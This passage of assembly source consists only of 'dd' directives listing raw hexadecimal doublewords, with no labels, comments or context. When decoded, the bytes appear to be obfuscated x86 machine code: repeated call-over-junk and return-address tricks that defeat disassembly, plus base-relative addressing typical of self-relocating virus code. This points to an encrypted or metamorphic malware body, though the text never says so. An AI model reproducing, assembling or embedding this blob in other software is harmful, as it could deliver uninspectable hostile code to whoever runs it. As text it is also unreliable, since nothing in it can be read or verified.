		dd 0F0A6B6C3h, 0A6DA1897h, 858DD38Bh, 62B4E54h,	0F21B529h
		dd 6050062Bh, 615F5660h
		dd 8B665250h, 0BF310FD3h, 394CBDA9h, 8961585Ah,	8DF82404h
		dd 2B4E4485h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 665084BEh, 489D38Bh, 50006A24h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0F602D3Eh, 9D89CEB7h, 62B0DD5h, 0DD95FF61h, 0F5062B0Ch
		dd 7AC18D8Dh, 9D89062Bh, 62B28B9h, 1174C00Bh, 4E54858Dh
		dd 0FF50062Bh, 728589D1h, 0EB062B4Eh, 7285C70Ah, 0FF062B4Eh
		dd 0E8FFFFFFh, 0Ch, 36D9F028h, 99242FB4h, 0F43D9DD9h, 30399D8Bh
		dd 6A5A062Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 6130C353h, 3860F52h, 80000000h
		dd 8B5BB2CAh, 2B193595h, 2D85C606h, 4D062B33h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 9AC35242h, 0DA116A78h
		dd 0AC40B2F5h, 319D0104h, 68062B1Dh, 80EC16A0h,	0BE9h
		dd 0C29D5C00h, 3294BD2h, 68ED2D62h, 8243481h, 6624D960h
		dd 589CA81h, 181B5FFh, 8A0F062Bh, 3, 8DD6B70Fh,	2E83EB85h
		dd 68B0F06h, 89000000h,	2B33998Dh, 66D0FF06h, 8945C5BAh
		dd 2B2BDD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0C6647D8Ah, 2B332D85h, 0FCB24506h
		dd 5745CA81h, 346842D2h, 0E9EE9B40h, 11h, 0B93C863Eh, 98652915h
		dd 0FD50DA2Ah, 39316CB4h, 24348187h, 60E9295Dh,	33598D89h
		dd 0B5FF062Bh, 62B1BDDh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0D2C35747h, 0FE99Ch, 6BC80000h, 33948E3Bh
		dd 1E8942Dh, 0EB93C8D2h, 858DF56Ah, 62E83EBh, 2F118529h
		dd 0D0FF062Bh, 10E8h, 0C7845000h, 78630C4Bh, 6134E13Dh
		dd 630B7343h, 0BE9A9h, 0B6820000h, 0BEEFC83Eh, 0BB80016h
		dd 85895BF6h, 62B0EA1h,	6719589h, 0D28B062Bh, 16319D8Bh
		dd 8C66062Bh, 359D03D9h, 0F6062B0Ch, 840F04C1h,	20Eh, 6840Fh
		dd 95030000h, 62B3031h,	163E9h,	99958B00h, 8B062B1Fh, 2B260DB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 69BBCD0Fh, 52366797h, 14E8h, 681A8000h
		dd 0B3890444h, 0B5F7F046h, 0B31A0DE5h, 6832FB29h, 41958B2Ch
		dd 5B062B09h, 80C6815Bh, 6A000011h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0AE5DC351h
		dd 19BD8912h, 83062B21h, 2B26BDBDh, 850F0006h, 23h, 12800Fh
		dd 6E80000h, 5F000000h,	277B3A09h, 0AD9D8986h, 5B062B08h
		dd 0A1E9h, 98EB8100h, 831D521Bh, 840F003Eh, 92h, 6A60D88Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 303C350h,	54B0DEFCh, 0BAE3CDAAh, 5F6597B3h
		dd 65A4CB81h, 958B7667h, 62B0605h, 6A146Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E81997C3h
		dd 0FF011D2Ch, 2B294595h, 18B0F06h, 0F9000000h,	88E9F561h
		dd 6AFFFFFFh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0F070C350h, 9D7EDD71h,	6C7D18Bh
		dd 1, 0DE9h, 0CBDED900h, 9D9E585Ah, 0BDE20A1Ch,	0BD89D465h
		dd 62B2F65h, 4E3CBD83h,	0F05062Bh, 8D85h, 8BDF8B00h, 2B0EA1B5h
		dd 0B906B306h, 64h, 2FA9958Bh, 9D8B062Bh, 62B0185h, 0FE83E80h
		dd 984h, 0D78B6600h, 11E9h, 7E80F500h, 840FC205h, 48h
		dd 2EA98589h, 8146062Bh, 0A74086F2h, 850F4961h,	0FFFFFFD0h
		dd 0E9B8F680h, 3Ah, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 1C35343h, 0DC8AE13Eh,	163D8D89h, 9D8B062Bh
		dd 62B2F3Dh, 191B589h, 8B60062Bh, 2B02199Dh, 0E9586106h
		dd 11h,	8CF8EA20h, 819151A8h, 0F69BB0EBh, 49C411CCh, 834FB69Ah
		dd 2B2B09BDh, 840F0006h, 0D3h, 0C35670BAh, 0BD896059h
		dd 62B2409h, 0EEEB8166h, 2D85C64Ch, 54062B33h, 9E9h, 7C204E00h
		dd 37F8DB9Ah, 616872F7h, 819A3B15h, 0A9932404h,	95896513h
		dd 62B2E0Dh, 1BDDB5FFh,	0BF0F062Bh, 0EB858DDFh,	6A062E83h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0D7C9C351h, 0D01C63D0h, 0FFDBE8FEh, 70BA66D0h
		dd 0B6006AD6h, 2890FC0h, 8B000000h, 9B5FFD3h, 6A062B2Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8BB1C351h, 2B21119Dh, 6820F06h, 2B000000h
		dd 2B2EF59Dh, 6AD0FF06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0CB7EC357h,	0C76103BAh
		dd 2B05A985h, 106h, 0C3BFBB00h,	0EE801CEFh, 14E860BBh
		dd 28000000h, 0F14A7DA8h, 0BEF7F3C1h, 0CB3244EEh, 678B181Eh
		dd 0F30907Fh, 681h, 7DBD8900h, 5A062B27h, 0C62BE868h, 0D08B52A2h
		dd 2404815Bh, 5D39D498h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 18C35646h, 408C90ABh,	9D59D2Bh, 0FF6A062Bh
		dd 2925B589h, 0F60062Bh, 182h, 0BD8BFC00h, 62B0E7Dh, 0C595FF61h
		dd 6A062B28h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0A54EC356h, 43F45940h,	1B7D9D23h
		dd 0F61062Bh, 0E850D3BFh, 6, 0E95150BEh, 0D98BE8C3h, 2404895Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E0C35545h
		dd 1DB1A956h, 7B5E67F4h, 8916D380h, 2B0A11B5h, 45858B06h
		dd 89062B20h, 2B02318Dh, 0FC00B06h, 1D84h, 9E900h, 813B0000h
		dd 0C12236Dh, 0FF6DF7B8h, 2B02D995h, 0BB666006h, 8B66480Ah
		dd 85C761D8h, 62B1835h,	1, 81F28166h, 3DBD83BEh, 62B08h
		dd 30840Fh, 85890000h, 62B10A9h, 0B4995FFh, 6A062Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 40C24BC3h, 800A5F1Ch, 0BD8362CEh, 62B0295h, 29840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0DB58C351h, 5E3C5D26h,	25E595FFh
		dd 0AFB3062Bh, 265BD83h, 0F00062Bh, 2984h, 0C1850900h
		dd 83062B17h, 2B2A75BDh, 850F0006h, 16h, 48E7D381h, 9D8B1A63h
		dd 62B1FB9h, 0A3595FFh,	0BA66062Bh, 0BD83FB6Fh,	62B1939h
		dd 40840F00h, 0E9000000h, 0Fh, 9199ACE3h, 0F3425219h, 0F11854CEh
		dd 819A6C27h, 2B1B8185h, 400306h, 89850900h, 81062B17h
		dd 2B347985h, 400306h, 68D0F00h, 8B000000h, 2B34D19Dh
		dd 0E9858906h, 0F062B1Eh, 0D19D8B31h, 89062B0Dh, 2B05098Dh
		dd 0D78D8D06h, 6A062B5Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0C139C355h,	679E226Bh
		dd 0CE9D4D8h, 2F000000h, 74221981h, 9109D443h, 8927EAA9h
		dd 3389B201h, 0DA8166C2h, 4189BC2Ah, 0BE904h, 25980000h
		dd 0D3C151F8h, 6EBE774Ah, 51310F96h, 0CB1DBB66h, 0E78D8D5Ah
		dd 81062B5Dh, 0A4C1FCC2h, 0F018911h, 18Bh, 0C233F500h
		dd 8611EA81h
		dd 41897531h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 68633CF0h, 30399589h, 8D0F062Bh
		dd 6, 32559D09h, 0BD83062Bh, 62B07EDh, 33840F00h, 89000000h
		dd 2B07E5B5h, 0E995FF06h, 6A062B0Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0FBC6C356h
		dd 0F3812CD1h, 25A0537Dh, 0BD834FB2h, 62B2019h,	3C850F01h
		dd 8B000000h, 2B12359Dh, 31E906h, 85890000h, 62B3381h
		dd 5F15B58Bh, 6C7062Bh,	0
		dd 5D0DB58Bh, 6C7062Bh,	0
		dd 0E9958BCFh, 8B062B2Bh, 0B8BA66DEh, 0CD958B4Eh, 83062B32h
		dd 2B1835BDh, 840F0006h, 134h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 49C35747h, 0F58A0860h, 0BE8h
		dd 0F59C5D00h, 386BC764h, 0BE49701Ah, 182D9589h, 835B062Bh
		dd 2B25A5BDh, 850F0106h, 0BDh, 66DAB70Fh, 8D8BDF8Bh, 62B4E30h
		dd 0F1BD89F5h, 0C6062B2Dh, 6A0001h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8E87E0C3h
		dd 99C87868h, 89EA8045h, 0D6BF0F60h, 9DE53168h,	48C0FE3h
		dd 66000000h, 815997BAh, 1B4F2404h, 95891C62h, 62B0545h
		dd 95FFFF6Ah, 62B28C5h,	6DCA8166h, 0BD89617Ah, 62B01FDh
		dd 1F7595FFh, 9D89062Bh, 62B2689h, 4E308D8Bh, 8589062Bh
		dd 62B01F5h, 6A01FEh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 7C59F8C3h, 305FA29Dh, 0F5E3BBBDh
		dd 95315B05h, 62B0CB9h,	0A851C9BBh, 71BD831Ch, 1062B24h
		dd 26850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 160424h, 55450000h, 64844FC3h, 2870Fh, 0DF8B0000h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 16CA4AC3h, 14E8h, 7B992600h,	6292881Ch, 33D49D66h, 17E15EEDh
		dd 0F5D794C2h, 11E9ADh,	0EC2F0000h, 2D9410ACh, 0D93F155Fh
		dd 9345C10Bh, 5B8779D6h, 1F9BD83h, 7500062Bh, 89BD8309h
		dd 62B16h, 53501A74h, 858BC08Bh, 62B1B81h, 1B818589h, 9D8D062Bh
		dd 62DBF75h, 585BD3FFh,	1689BD83h, 7400062Bh, 8B535018h
		dd 2B1B8185h, 81858906h, 8D062B1Bh, 2DBC649Dh, 5BD3FF06h
		dd 6A9AB358h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0FD7FC356h, 373079D9h,	8B3F0B3Fh
		dd 458D89C0h, 83062B17h, 2B1835BDh, 850F0006h, 6Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 51C35141h, 0FDF284Ch
		dd 158Dh, 0DE800h, 3E4A0000h, 6D2E3F74h, 0E152FE7Ah, 8A59F343h
		dd 0D88A5BD8h, 2E1DBD83h, 0F00062Bh, 2284h, 7692BA00h
		dd 0E852434Bh, 0Fh, 85BABDA9h, 0B61F2027h, 9AC295F1h, 814AFBE1h
		dd 812481CAh, 835B5A43h, 2B1835BDh, 840F0006h, 2Eh, 2C19D8Bh
		dd 0BD83062Bh, 62B0BEDh, 1B840F00h, 0F000000h, 158Ah, 0F880F00h
		dd 0E8000000h, 9, 0E474EDE1h, 0B7A24556h, 0BD835A8Eh, 62B1835h
		dd 37840F00h, 81000000h, 0FF1B9DDBh, 0EDBD8306h, 62B0Bh
		dd 24840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 7BC342C3h, 1067E60Eh, 0BD8396D9h
		dd 62B1835h, 43840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 10CCC356h
		dd 9436F974h, 0A5C996BBh, 870FFC8Ah, 3,	83D9B70Fh, 2B302DBDh
		dd 840F0006h, 6, 17698529h, 0BD83062Bh,	62B1835h, 27840F00h
		dd 60000000h, 8BCFBF0Fh, 0BD8361C3h, 62B1639h, 13840F00h
		dd 89000000h, 2B0A65BDh, 9195FF06h, 52062B21h, 0E8BDB1BBh
		dd 0C08B5B3Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	57C35242h, 58B09276h, 0C88370F4h, 0F9BD833Ah, 62B01h
		dd 0BD830975h, 62B1689h, 501A7400h, 8BC08B53h, 2B347985h
		dd 79858906h, 8D062B34h, 2DBFDC9Dh, 5BD3FF06h, 89BD8358h
		dd 62B16h, 53501874h, 3479858Bh, 8589062Bh, 62B3479h, 0BC7D9D8Dh
		dd 0D3FF062Dh, 0DE8585Bh, 8C000000h, 0AC3D8538h, 0BA25A273h
		dd 4C30E85Dh, 938E60BBh, 0D38A5B09h, 9E9h, 17C8B600h, 0BFA89A13h
		dd 0C08BDA80h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	87C35040h, 0EA96FA6Ch, 7A90691Eh, 2399D89h, 0BD83062Bh
		dd 62B1835h, 0DC840F00h, 6A000003h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 855BC357h
		dd 519D0BFEh, 83062B30h, 2B1535BDh, 840F0206h, 16h, 83D9BF0Fh
		dd 2B2019BDh, 850F0106h, 6, 2C19BD29h, 8060062Bh, 8D8B39CBh
		dd 62B4E30h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	2AC35545h, 0EFE802D6h, 6656735Eh, 9134F281h, 6601FE5Ah
		dd 68E03EBBh, 0FF94B5Ch, 0DC243481h, 6A0FF94Bh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8BAFC353h, 2B209195h, 6AFF6A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 5F17C351h
		dd 5DC8CC9Fh, 35BD31BEh, 0FF062B2Fh, 2B28C595h,	0C2816606h
		dd 29615AF0h, 2B02D59Dh, 25BD8D06h, 6A062B0Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0D0C8C357h, 9F4491AAh, 811C4F8Bh, 0E1D29BD3h, 8B016A1Ah
		dd 2B09999Dh, 0F609106h, 38Fh, 0FE8B6600h, 60605061h, 890Fh
		dd 8B660000h, 666061CAh, 66C2BBBEh, 617AA4BAh, 8A0F9161h
		dd 8, 299D8B52h, 5A062B0Dh, 1235958Bh, 858D062Bh, 62E4679h
		dd 2BE9BD09h, 0D0FF062Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 2BC35646h, 0A40052D7h, 8BD786BBh, 810F204Fh
		dd 0
		dd 11E9036Ah, 2000000h,	25F68296h, 67697FB6h, 7409B1FDh
		dd 9C075CE0h, 665038B2h, 898B0BBBh, 0D780240Ch,	79858D0Fh
		dd 80062E46h, 958B99EEh, 62B06A1h, 958BD0FFh, 62B2091h
		dd 0F25BD8Dh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 979A10C3h, 0A00514C2h, 5B67CDFh
		dd 521C4F8Bh, 6A5BDF8Bh, 0DBDE8001h, 240C8950h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E6C35343h, 8DFAA7C8h
		dd 2E467985h, 0D58D8906h, 0FF062B11h, 0BE9D0h, 0E03F0000h
		dd 1D5C36B1h, 1984B2F1h, 204F8B8Fh, 5BEF8050h, 0DE85Ah
		dd 26DA0000h, 542166FEh, 0ACF1CF55h, 0F14AEA7h,	486h, 0BABA6600h
		dd 36A5BBEh, 11E9h, 0AD74F400h,	6688F071h, 41A81C9Bh, 0FA481C3Bh
		dd 6691257Ah, 0E850D18Bh, 14h, 0D45533BCh, 0C25428CBh
		dd 9CDD2FA3h, 49069375h, 0F7E0D5E4h, 8E9h, 0CF063100h
		dd 8F559498h, 81915AD8h, 98F2CCDBh, 79858D17h, 0F5062E46h
		dd 0F78AD0FFh, 4E308D8Bh, 8D09062Bh, 62B2095h, 8D2901FEh
		dd 62B15D9h, 4E30858Bh,	9D29062Bh, 62B21EDh, 6A00FEh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 6DEA4FC3h, 5EA584BEh, 6AF5C9A9h, 53006A01h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0D22F725Bh
		dd 37DB2776h, 0CE9h, 61414E00h,	221C35C6h, 33E3FF99h, 4E832h
		dd 9FFF0000h, 8B50FFFFh, 66042444h, 8B6757BAh, 0DF8B6000h
		dd 0E85A5060h, 0Ch, 47DE7DD4h, 541A94C7h, 0CFE29CF4h, 8961615Eh
		dd 50042444h, 0D68B6652h, 94B6310Fh, 8958585Ah,	2B086595h
		dd 83858D06h, 6A062E46h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 41A5C353h, 9D8B8C0Eh
		dd 62B006Dh, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0EF801AC3h, 0C2806D06h, 9D8D89F5h
		dd 83062B35h, 2B2E1DBDh, 840F0006h, 0F6h, 8E9h,	8AAD2F00h
		dd 0D9CD5B8h, 1BD83EBh,	1062B0Ah, 0DC850Fh, 81660000h
		dd 8DD243CBh, 2E468D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 1BBA6621h, 6A036A6Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0AA7BC351h, 0D08BC3AAh, 0CF80016Ah, 0E9D1FF79h
		dd 8, 12B2BF0Ah, 517968C5h, 5E9h, 8E04F300h, 16AFB8Fh
		dd 6A016AFCh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 473AC350h, 6AD9AC23h, 123DBD29h
		dd 0E281062Bh, 3278DDD1h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 25A982C3h, 8BE8CE7Fh
		dd 0DA8B6617h, 306E11E8h, 0CE9FAh, 0C9E00000h, 0E8E6B91Fh
		dd 195C1253h, 206ADE37h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 12C35343h, 0F734DFE8h, 0E90934C9h, 13h
		dd 0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h, 6A6D94D0h
		dd 599529FFh, 0FF062B01h, 2B28C595h, 2850F06h, 8B000000h
		dd 0B8DAh, 0FF80000h, 1285h, 7E800h, 9DCC0000h,	55B80A32h
		dd 14A6BB4Bh, 0B5A46C2h, 40840FC0h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 322AC357h, 0E7A33AA1h, 0E1BD8334h, 62B34h, 11840Fh
		dd 9D8B0000h, 62B2E49h,	0F9D95FFh, 8166062Bh, 8BF4DFCAh
		dd 2B2B3985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 9523618Ch, 62B3355h, 0BA0000C6h
		dd 6C19E830h, 71BB6658h, 0D98C66C7h, 7E8F8h, 0BC690000h
		dd 74EFDE15h, 3D9589FEh, 5A062B0Bh, 0F04C1F6h, 3384h, 0DF8B6600h
		dd 2BE9h, 2840F00h, 8A000000h, 0DB58BF0h, 66062B26h, 819610BBh
		dd 1180C6h, 3820F00h, 66000000h, 6C7D38Bh, 0
		dd 5BCDB657h, 0D9958B5Eh, 0F062B1Bh, 0F883D1BFh, 0D4840F00h
		dd 0F00000Ah, 689h, 7ADA8100h, 835ABA0Ch, 850F01F8h, 14Ah
		dd 93F6EABAh, 0B84Fh, 0FA8A0000h, 840FC00Bh, 0D0h, 8395CF80h
		dd 840F01F8h, 0FCh, 21798D09h, 0F883062Bh, 5C840F03h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 8F5C356h,	0B8BA4D22h, 0
		dd 32D58D89h, 0BD8D062Bh, 5B89E0h, 8721D7BAh, 6AE7FF42h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0CD7CC357h, 66576515h, 0B85BDE8Bh, 1, 9E5958Bh
		dd 0FE9062Bh, 0FC000000h, 43623127h, 6CF84A6Ah,	0A464B4F5h
		dd 0BD8D942Fh, 5B89E0h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 4EC35545h, 0EDA3087Ch, 0E8D0168Eh, 0E7FFD08Ah
		dd 18B1BD89h, 8D29062Bh, 62B1C3Dh, 44BCBD8Dh, 8166062Bh
		dd 0E909A5DAh, 2BCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 50C35747h, 0CDEFADB2h, 8D89F9D6h, 62B0EDDh
		dd 4E8B85C7h, 5062Bh, 0CE800000h, 5B8C5h, 800F0000h, 0Ch
		dd 68E0Fh, 958B0000h, 62B3055h,	8F1E9h,	8B665700h, 0F8835ADEh
		dd 0D0850F02h, 0BA000000h, 727DA5F3h, 2F59D8Bh,	0B8062Bh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0AF5DC353h, 0C00B48A4h, 69840Fh
		dd 0BB570000h, 29B1E5EDh, 1F8835Bh, 0FF82840Fh,	958BFFFFh
		dd 62B2EE1h, 0F03F883h,	0FFFEE284h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0E05F92BFh
		dd 9C7C2291h, 859D8BEAh, 50062B08h, 0BFD38166h,	0B85A20h
		dd 0FC000000h, 89E0BD8Dh, 8531005Bh, 62B0D31h, 8166E7FFh
		dd 8DCCD0E2h, 2B46B4BDh, 21958B06h, 0E9062B0Ch,	1ACh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8AC35747h, 83D58A0Eh
		dd 850F03F8h, 37h, 4848BD8Dh, 6A062Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0CCE1BC3h
		dd 9523C994h, 62B0ABDh,	153E9h,	89BD8900h, 83062B2Eh, 850F05F8h
		dd 59h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh
		dd 32C35747h, 0A3728794h, 0B510931Fh, 118D8988h, 0E9062B2Ch
		dd 79Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0A6C35747h, 0FB7DCB27h,	89E87D26h, 2B2BCD8Dh, 6F88306h
		dd 38850Fh, 958B0000h, 62B1105h, 4A40BD8Dh, 6A062Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0F8C6DC3h, 0F55D0978h, 0AFE9h, 0AE24BB00h, 0F8831C4Dh
		dd 4D850F07h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0F774C357h,	425E5C89h
		dd 0D18B6687h, 0BD8DE4B2h, 62B2201h, 8A0FD18Bh,	0Dh, 0CE816660h
		dd 0D181E32Bh, 28437E8Fh, 158E961h, 0DB810000h,	3B2FCA1Eh
		dd 0F0AF883h, 4B85h, 6860F00h, 8B000000h, 2B1CB59Dh, 38BD8D06h
		dd 6A062B4Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0AFF7C353h, 683ED6BEh,	0E9815648h
		dd 10h,	1BD952Bh, 5E9062Bh, 36000000h, 6F8603EDh, 118D3157h
		dd 0B9062B24h, 23E1EBE5h, 83D88B66h, 840F003Fh,	0E0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C4C35343h, 1F07F551h
		dd 0E9E656D7h, 11h, 31D20030h, 0F284DDA7h, 2776EC1h, 0D99F92FFh
		dd 8B0F30ABh, 2B2F619Dh, 6AC9D106h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9BEAC356h
		dd 3F6AA680h, 8DB1EA81h, 6A470D25h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 8B00C353h
		dd 590DEA6Fh, 13E9h, 54DD3700h,	342F44A1h, 785ED287h, 39E1286Eh
		dd 0B08280D7h, 7E9h, 0ABDDCC00h, 0DF48E7A7h, 0FFFF42E9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0CF358B96h, 53F698D1h, 9D8B45E0h, 62B0EC1h
		dd 0D281665Fh, 0BD89F989h, 62B4E34h, 97EA8166h,	68D0F40h
		dd 31000000h, 2B0CED8Dh, 58D8D06h, 81062B0Eh, 5CB6D3h
		dd 0A1B5FF44h, 6A062B0Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 6107C350h, 1101B589h
		dd 9D8B062Bh, 62B1571h,	0B12F858Dh, 8D50062Dh, 2B55F0BDh
		dd 0A8D8D06h, 0B8062B6Fh, 54831ABCh, 730CF2Bh, 4947C8D0h
		dd 0B58DF875h, 62B6E98h, 6F228D8Dh, 0CF2B062Bh,	0C933A4F3h
		dd 0B8h, 74C00B00h, 0E1BD8346h,	62B34h,	95FF0674h, 62B0F9Dh
		dd 4E34B58Bh, 858D062Bh, 62DB12Fh, 858DD0FFh, 62B4448h
		dd 85C7D0FFh, 62B1999h,	1, 15DA58Bh, 0B58B062Bh, 62B09BDh
		dd 615AD8Bh, 0C033062Bh, 8B000CC2h, 2B1E259Dh, 7E806h
		dd 0BAE00000h, 0E3BD284Ah, 0DDBB66E9h, 0BD835B87h, 62B1D49h
		dd 14840F00h, 0E9000000h, 7, 0A8ABB0DBh, 0FF82C006h, 2B351195h
		dd 83D98B06h, 2B26BDBDh, 850F0006h, 188h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 67C35141h, 4D6AE381h
		dd 958B1CE1h, 62B0A05h,	0A01BD83h, 0F01062Bh, 15385h, 0A9958B00h
		dd 83062B1Ch, 2B08B5BDh, 840F0006h, 140h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 16C35646h, 0BD831318h
		dd 62B4E87h, 15840F00h,	81000001h, 191720EAh, 40E6803Ch
		dd 0B12F858Dh, 8D89062Dh, 62B2409h, 4E34B58Bh, 0DBBB062Bh
		dd 0FF78C20Bh, 10E9D0h,	6F680000h, 2E8C36E1h, 42BB70BCh
		dd 0C8811C02h, 0DE8B9AF8h, 332D85C6h, 8B54062Bh, 2B272595h
		dd 0AC9C6806h, 13E9E39Eh, 91000000h, 1B01C310h,	59041403h
		dd 68393860h, 0A7E88A7Dh, 3481FC5Ah, 0D0126824h, 1DB5FF1Ch
		dd 0B3062B0Bh, 6830F42h, 8B000000h, 2B0FB995h, 25858D06h
		dd 6A062B3Ch, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0E74AC351h, 0F08A3DF5h, 0FE8D0FFh
		dd 0BF000000h, 66718B72h, 0DC3FF262h, 9638A766h, 8B669318h
		dd 6A5AD8h, 0BE9h, 0B40CEE00h, 2F07453Dh, 0B02ACE51h, 66FF6AF8h
		dd 979EE381h, 0B589D0FFh, 62B3095h, 861B5FFh, 6A062Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 38278DC3h, 5AEACA16h, 0A195FF61h, 0BA062B0Eh, 148304BCh
		dd 4E34B58Bh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0D9A21FC3h, 8DDB95D0h, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0B58B0BD4h, 62B2B39h, 802DF3BBh, 0FF60B5Ah, 2D84h, 0D3BF0F00h
		dd 6A0006C6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 50F1C350h, 97184CAh, 2D3D9589h
		dd 8589062Bh, 62B4E3Ch,	21B58529h, 0F883062Bh, 0D4840F00h
